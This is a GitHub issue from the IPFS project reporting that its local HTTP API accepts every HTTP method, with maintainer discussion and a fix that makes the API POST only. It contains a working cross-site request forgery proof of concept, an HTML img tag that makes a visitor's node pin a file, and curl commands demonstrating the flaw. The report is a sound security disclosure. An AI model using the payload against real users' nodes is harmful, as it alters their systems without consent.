Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

API accepts all methods #2165

Closed
travisperson opened this issue Jan 6, 2016 · 6 comments
Closed

API accepts all methods #2165

travisperson opened this issue Jan 6, 2016 · 6 comments
Labels
kind/bug A bug in existing code (including security flaws)

Comments

@travisperson
Copy link
Member

During a discussion on IRC with VegemiteToast and achin, it was tested and discovered that you can make a user pin any file.

This particular attack was done using QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb

<html>

    <img src="http://localhost:5001/api/v0/pin/add?arg=QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6" />
    After loading this page, please try to see if <code>QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6</code> is pinned on your local node:

    <pre>
    ipfs pin ls --type=all |grep QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6
    </pre>

</html>

As it turns out, the API accepts any command with any HTTP method.

Test it out:

$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X GET
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X PATCH
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X POST
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X WHAT
@confiks
Copy link

confiks commented Jan 6, 2016

More discussion on this can be found in #1532

@Kubuxu
Copy link
Member

Kubuxu commented Jan 6, 2016

This is something different. Any API call making changes/writes shouldn't be allowed for GET. Allowing CORS for global gateway is also a problem but slightly different one.

@whyrusleeping
Copy link
Member

I get an http 403. Do you have your cors headers set to '*' or similar?

@Kubuxu
Copy link
Member

Kubuxu commented Jan 6, 2016

Probably he has but it is still an issue as you can have trusted domain (like ipfs-board's one) added to CORS but 3rd party might include image that will perform API call.

@daviddias
Copy link
Member

(with @whyrusleeping) we should disallow some of the calls through GET requests from the start and be very explicit on which type of method are accepted by API endpoint, in order to avoid confusion and security holes.

@RichardLitt take a peak in this one, the HTTP API spec will certainly help on this one :)

This was referenced Jan 6, 2016
Closed
Merged
@em-ly em-ly added the kind/bug A bug in existing code (including security flaws) label Aug 25, 2016
@Stebalien
Copy link
Member

We have switched to POST only.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
kind/bug A bug in existing code (including security flaws)
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
7 participants
@travisperson @Stebalien @daviddias @whyrusleeping @Kubuxu @confiks @em-ly